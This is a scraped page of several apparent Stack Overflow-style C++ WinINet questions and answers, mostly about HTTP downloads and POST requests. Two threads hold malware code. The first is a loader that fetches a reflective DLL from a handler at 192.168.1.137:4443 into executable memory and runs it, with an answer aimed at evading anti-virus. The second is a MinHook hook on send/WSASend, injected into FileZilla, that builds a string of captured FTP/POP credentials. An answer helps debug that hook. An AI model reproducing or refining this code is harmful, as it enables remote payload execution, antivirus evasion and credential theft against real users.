C++ download file - if not available increasing RAM usage 1mb/s - c++

my Code keeps filling the RAM, if it cant reach the file to download.(network disabled to test)
How can I stop downloading after timeout?
here is the main part for downloading:
int WINAPI WinMain(HINSTANCE instanceHandle, HINSTANCE, char*, int)
{
using namespace std;
std::wstring loadme = targetfolder;
loadme += L"\\filename.txt";
std::wstring url1(L"fileurl");
HRESULT hr1 = URLDownloadToFile(NULL, (url1.c_str()), (loadme.c_str()), 0, NULL); //Download-Start
}

You can use WinINet functions to check if internet is available, check if url link is available, and report progress. Needs "wininet.lib"
WinINet Reference
#include <windows.h>
#include <wininet.h>
#include <fstream>
void geturl(const wchar_t *url)
{
std::ofstream file("c:\\test\\test.htm");
HINTERNET hopen = InternetOpen(L"myAppName",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (hopen)
{
HINTERNET hurl = InternetOpenUrl(hopen,url,NULL,0,INTERNET_FLAG_DONT_CACHE,0);
if (hurl)
{
DWORD received;
const int bufsize = 1024;
char buf[bufsize];
while (InternetReadFile(hurl, buf, bufsize, &received))
{
//progress...
if (!received) break;
file.write(buf, received);
}
InternetCloseHandle(hurl);
}
InternetCloseHandle(hopen);
}
}

Related

Converting WinHttp to WinInet API POST request

I am trying to convert some HTTP request code from using the WinHttp COM interface to using lower-level WinInet calls from <wininet.h>. The COM version is working but I am having difficulty translating the calls into the WinInet API.
This code works fine and gets the correct error response (as the request data is empty) to the POST request:
#import <winhttpcom.dll>
#include <iostream>
#include <string>
int main()
{
HRESULT hr = CoInitialize(NULL);
using namespace WinHttp;
IWinHttpRequestPtr pReq = NULL;
hr = pReq.CreateInstance(__uuidof(WinHttpRequest));
const char* pszReq = "";
if (SUCCEEDED(hr))
{
_bstr_t bstrMethod("POST");
_bstr_t bstrUrl("https://lite.realtime.nationalrail.co.uk/OpenLDBWS/ldb9.asmx");
hr = pReq->Open(bstrMethod, bstrUrl);
pReq->SetRequestHeader(_bstr_t("Content-Type"), _bstr_t("text/*"));
_variant_t vReq(pszReq);
hr = pReq->Send(vReq);
if (SUCCEEDED(hr))
{
_bstr_t bstrResp;
hr = pReq->get_ResponseText(&bstrResp.GetBSTR());
if (SUCCEEDED(hr))
{
std::cout << std::string(bstrResp) << "\n";
}
}
}
CoUninitialize();
}
Saving the output as html, gives this rendering of the response (which is what I expect, since I haven't provided any request data, which would usually include an access token).
This is the code (amended after comments below, and should be reproducible) that I am using to try and replicate this result using wininet.h and the low-level Win32 calls (I realize I haven't closed the handles).
#include <windows.h>
#include <WinInet.h>
#include <iostream>
int main()
{
const char* pszReq = "";
const char* pszUrl = "https://lite.realtime.nationalrail.co.uk/OpenLDBWS/ldb9.asmx";
char szHostName[256];
char szPath[256];
URL_COMPONENTSA comps = {};
comps.dwStructSize = sizeof(comps);
comps.lpszHostName = szHostName;
comps.dwHostNameLength = sizeof(szHostName);
comps.lpszUrlPath = szPath;
comps.dwUrlPathLength = sizeof(szPath);
if (!InternetCrackUrlA(pszUrl, strlen(pszUrl), 0, &comps)) return 1;
HINTERNET hOpen = InternetOpenA("XYZ",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if (!hOpen) return 1;
HINTERNET hConnect = InternetConnectA(hOpen,szHostName,comps.nPort,
NULL,NULL,INTERNET_SERVICE_HTTP,0,NULL);
if (!hConnect) return 1;
const char * rgpszAcceptTypes[] = { "text/*", NULL };
HINTERNET hOpenReq = HttpOpenRequestA(hConnect,"POST",szPath,NULL, NULL,
rgpszAcceptTypes, 0,NULL);
if (!hOpenReq) return 1;
const char* pszHeader = "Content-Type: text/xml;charset=UTF-8";
//*** This line returns FALSE ***
BOOL bRet = HttpSendRequestA(hOpenReq, pszHeader, strlen(pszHeader), (LPVOID)pszReq, strlen(pszReq));
//*** LastError is ERROR_HTTP_INVALID_SERVER_RESPONSE
DWORD dwErr = GetLastError();
return 0;
}
All the WinInet handles are non-zero, suggesting the calls are working, but the last HttpSendRequestA() is returning FALSE immediately, with LastError set to ERROR_HTTP_INVALID_SERVER_RESPONSE.
Clearly the COM route hides a lot of intermediate working, and presumably some constants are defaulted to specific values. It may also be adding other header information, I suppose.
Perhaps someone can suggest where I am going wrong?
There are some mistakes in your WinInet code:
the pszServerName value needs to be just the host name by itself, not a full URL. If you have a URL as input, you can parse it into its constituent pieces using InternetCrackUrlA().
the 3rd parameter of HttpOpenRequestA() is the requested resource relative to pszServerName. So, in your example, you need to use "/" to request the root resource.
the 1st parameter of HttpSendRequestA() needs to be hOpenReq, not hOpen. Also, you should not be including the null-terminators in your buffer sizes.
If you have not already done so, you should have a look at WinInet's documentation on HTTP Sessions.
With that said, try this:
#include <windows.h>
#include <WinInet.h>
#include <iostream>
const char * pszUrl = "https://someUrl";
const char * pszReq = "A string of request data";
const char* pszHeader = "Content-Type: text/xml;charset=UTF-8";
char szHostName[256];
char szPath[256];
URL_COMPONENTSA comps = {};
comps.dwStructSize = sizeof(comps);
comps.lpszHostName = szHostName;
comps.dwHostNameLength = sizeof(szHostName);
comps.lpszUrlPath = szPath;
comps.dwUrlPathLength = sizeof(szPath);
BOOL bRet = InternetCrackUrlA(pszUrl, strlen(pszUrl), 0, &comps);
if (!bRet) ...
HINTERNET hOpen = InternetOpenA("XYZ", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hOpen) ...
HINTERNET hConnect = InternetConnectA(hOpen, szHostName, comps.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
if (!hConnect) ...
HINTERNET hOpenReq = HttpOpenRequestA(hConnect, "POST", szPath, NULL, NULL, NULL, comps.nScheme == INTERNET_SCHEME_HTTPS ? INTERNET_FLAG_SECURE : 0, NULL);
if (!hOpenReq) ...
bRet = HttpSendRequestA(hOpenReq, pszHeader, strlen(pszHeader), pszReq, strlen(pszReq));
if (!bRet) ...
...

Memory allocation issues using NTAllocateVirtualMemory and GetProcAddress not working

I am trying to write a little program which uses NTAllocateVirtualMemory and GetProcAddress instead of VirtualAlloc.
This is what I have currently:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "CMZO3LLeroANhAyGU2zSsAIz5jz5vBzoX-GgHdghJK_em-WmpzDG35R3OZlriGNbYZaXnBKQmbx51akG5L1K_ANOjpS7-l-buPeeyixDroY9K1bNb3VaaH2HOyl9S5iOg7uH7jmEwP0fot303PtTZOmIO5C92BuBB5QO_wHvKRFy6QT24kHAupIIx7BQ8VUaUoj4lLt576CKo";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
void* payload = { 0 };
SIZE_T size = 4194304;
NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
HttpRequest(handler, URI, UA, Port, method, (char*)payload);
((void(*)())payload)();
}
It seems that after the call to NtAllocateVirtualMemory, the payload variable is not pointing to a memory allocation and is still a nullptr from what I can tell in the debugger. I did not get any errors or exceptions...
The gist behind the program is that it is supposed to retrieve a file over HTTP, place it in the allocated memory buffer and executed (it's a reflective DLL which is going to be written to the buffer). I know that the DLL file was sent by the handler to this application.
The following works, but I need to do this with NTAllocateVirtualMemory :
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
//NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
//void* payload = { 0 };
//SIZE_T size = 4194304;
//NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, (char*)payload);
char* buf = (char*)VirtualAlloc(0, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, payload);
HttpRequest(handler, URI, UA, Port, method, buf);
//((void(*)())payload)();
((void(*)())buf)();
}
Since your actual problem is to hide from anti-virus, I would suggest to use a static buffer.
Make data sections executable(in Visual Studio)
Specify Project->Properties->Linker->Specify Section Attributes.
For uninitialized data
uninitialized is still zero initialized
/* global or static*/ char buf[20000];
specify .bss,RWE
(which is probably what you need)
For initialized data
/* global or static*/ char buf[20000]{1};
specify .data,RWE
Both
specify Linker->Command Line->Additional Options as /SECTION:.bss,RWE /SECTION:.data,RWE
This is what I ended up doing in the end, which is very similar to what #Adler suggested above:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using namespace std;
int main()
{
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
SIZE_T size = 4194304;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READWRITE);
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
HttpRequest(handler, URI, UA, Port, method, (char*)localSectionAddress);
((void(*)())localSectionAddress)();
}
It appears you cannot set RWX permissions from Windows 8.1 or above for the NtAllocateVirtualMemory function: link
This article seemed to suggest that it was so it misled me into trying it: link

Hooking Send/WSASend returns runtime check error#0

i am trying to hook Send/ WSASend to monitor traffic, show data in messagebox, when i hook other than show a messagebox with the traffic it pops out this runtime check error.
The code seems to compile correctly , looks like this below
#include "stdafx.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
#include <fstream>
#include <string>
#include <vector>
#include <winsock2.h>
#include "popftphook.h"
#pragma comment (lib, "wininet")
#pragma comment(lib,"urlmon")
#pragma comment(lib, "ws2_32")
using namespace std;
LPVOID original_functionwsa = NULL;
LPVOID original_functionsend = NULL;
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal));
}
typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags);
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
void ExportBuffer(char *buf, SOCKET s);
send_FuncType True_send = NULL;
OldWSASend TrueWSAhook1 = NULL;
void ExportBuffer(char *buf, SOCKET s)
{
char *buffer = (char*)buf;
if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0)
{
sockaddr_in peeraddr;
int size = sizeof(peeraddr);
getpeername(s, (struct sockaddr *)&peeraddr, &size);
struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
char* IP = inet_ntoa(peeraddr.sin_addr);
int Port = (int)htons(peeraddr.sin_port);
if (IP != NULL && Port > 0)
{
char Fullz[250];
wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port);
MessageBoxA(0, Fullz, 0, 0);
}
}
}
int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags)
{
int hResult = True_send(s, buf, len, flags);
if (hResult > 0)
{
ExportBuffer((char*)buf, s);
}
return hResult;
}
int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
if (hResult > 0)
{
ExportBuffer((char*)lpBuffers->buf, s);
}
return hResult;
}
void hookSend()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send");
status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void hookWSApop()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend");
status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void poptrigger()
{
hookSend();
hookWSApop();
}
When i inject into filezilla i get Runtime check error #0 on line 57.
Your send_FuncType typedef is missing an explicit calling convention, so the compiler's default (usually __cdecl) is used. send() uses the __stdcall calling convention (as almost every Win32 API function does). So you are likely to cause runtime errors when calling True_send() due to that calling convention mismatch. The WINAPI macro includes the __stdcall convention, so you don't have a similar mismatch on your WSASend() hook.
Also, ExportBuffer() has quite a lot of logic bugs:
send() and WSASend() do not operate on null-terminated buffers (and null terminators do not exist in the FTP and POP3 protocols), but your strncmp and wsprintfA operations expect null-terminated data.
You are not taking the stream-oriented nature of TCP into account at all. There is no guarantee that any given buffer will contain complete strings. You have to be prepared to handle strings that span across multiple buffers.
You assume that all sockets are using IPv4 only, but that is not guaranteed. To support both IPv4 and IPv6, use sockaddr_storage instead of sockaddr_in, and use InetPton() instead of inet_ntoa().
You are not passing enough parameters to wsprintfA(). You have 4 format specifiers but are passing only 3 data values.
You appear to want to process FTP and POP3 protocols, but the strings "FTP" and "POP" do not appear in transmitted data in those protocols, so what are you really looking for?
You need to fix those errors.

Using InternetConnect with IP-address fails (error 12029)

Here i have a snippet that doesn't work when i'am using IP address. But in MSDN it says that parameter could be dotted-decimal IP address, so it must work clearly. What is wrong? Thank you.
#include "stdafx.h"
#include <windows.h>
#include <wininet.h>
#include <tchar.h>
#include <iostream>
#pragma comment(lib,"wininet.lib")
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
char szServer[] = "127.0.0.1";
char szUrl[] = "/test/upload.php";
char Data[] = "text123";
char szHdrs[] = "Content-Type: multipart/form-data; boundary=AaB03x";
char szTead[] = "--AaB03x\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n"
"Content-Type: application/octet-stream\r\n"
"\r\n";
char szTail[] = "\r\n"
"--AaB03x--\r\n";
char szUserAgent[] = "MyUA";
char *szTypes[] = {"*/*", NULL};
HINTERNET hIOpen = InternetOpenA(szUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(!hIOpen)
{
printf("InternetOpenA Error\n");
}
HINTERNET hIConnect = InternetConnectA(hIOpen, szServer, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
if(!hIConnect)
{
printf("InternetConnectA Error\n");
}
HINTERNET hHttpOpReq = HttpOpenRequestA(hIConnect, "POST", szUrl, NULL, NULL, (LPCSTR *)szTypes, 0, 1);
if(!hHttpOpReq)
{
printf("HttpOpenRequestA Error\n");
}
BOOL bHttpSendReq = HttpSendRequestA(hHttpOpReq, szHdrs, strlen(szHdrs), Data, strlen(Data));
if (!bHttpSendReq)
{ int Error = GetLastError();
printf("HttpSendRequest Error %d\n", Error);
}
system("pause");
return 0;
}
There is nothing more i can add, actually about this issue. I'am using Windows 7 x64 Ultimate and VS2008.
Now i checked this .exe on other XP and Seven machines. Looks like it works, but not on my machine. Maybe the problem is (out there) somewhere else.
Three hints:
Add following flags to your internetconnect:
INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE
Also add http to your reqest:
char szServer[] = "http://127.0.0.1";
You might also try with INTERNET_OPEN_TYPE_DIRECT instead of INTERNET_OPEN_TYPE_PRECONFIG
in my code base I have a work around for a 12029 error, but it happens only when connection is lost during file downloading - to fix it I must fully close all WinInet handles and retry download.

How to use HTTP POST in C++ with Wininet

I am sending values of two variables using POST to the PHP server. The C++ application using Wininet connects to the server side script, but instead of sending the data correctly, it just shows empty fields in the parameters send using POST.
#include <windows.h> #include <wininet.h> #include <stdio.h> #include <fstream> #include <cstring>
#pragma comment (lib, "Wininet.lib")
#define SIZE 128
int main() {
HINTERNET Initialize, Connection, File;
DWORD dwBytes;
static const char *postData = "name=Jack+Din&age=38";
LPSTR accept1[2] = { "Accept: */*", NULL };
const char * const frmdata = "name=Arun+Pushkar&age=38";
static const char *hdrs[] = { "Content-Type: application/x-www-form-urlencoded" };
static const char *accept[] = { "*/*", NULL };
char ch;
Initialize = InternetOpen(L"HTTPGET", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!Initialize)
{
printf("Failed to open session\n");
exit(0);
}
Connection = InternetConnect(Initialize, L"192.168.1.10", INTERNET_DEFAULT_HTTP_PORT,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
File = HttpOpenRequest(
Connection,
L"POST",
L"/trydata.php",
L"HTTP/1.0",
NULL,
NULL,
INTERNET_FLAG_NO_CACHE_WRITE,
0);
unsigned long dataLen = strlen((char*)frmdata)+1;
bool res = HttpSendRequest(
File, // file to which reply will come
(LPCWSTR)hdrs,
0,
(char*)frmdata, // post variables to be send
dataLen); // length of data send
if (res)
{
std::ofstream webSource;
webSource.open("a.html");
while (InternetReadFile(File, &ch, 1, &dwBytes))
{
if (dwBytes != 1)break;
webSource << ch;
}
webSource.close();
}
InternetCloseHandle(File);
InternetCloseHandle(Connection);
InternetCloseHandle(Initialize);
return 0;
}
The server side script is
<?php
$yourname = isset($_POST['name']) ? $_POST['name'] : 'no name';
$yourage = isset($_POST['age']) ? $_POST['age'] : 'no age';
echo "Hello".htmlspecialchars($yourname). "!";
echo "Your Age".htmlspecialchars($yourage). "!";
?>
When I run this C++ code I get the following in my a.html:
Hello no Name!Your Age no Age!
I would use ATL Server classes to do the same. Here is the example:
CAtlHttpClient client;
AtlNavigateData navData;
LPCSTR lpData = "data=toto";
navData.SetMethod(ATL_HTTP_METHOD_POST);
navData.SetPostData((BYTE*)lpData, lstrlenA(lpData), _T("application/x-www-form-urlencoded"));
client.Navigate(_T("mysite.net"), _T("myscript.php"), &navData);
const char* pszBody = (const char*)client.GetBody();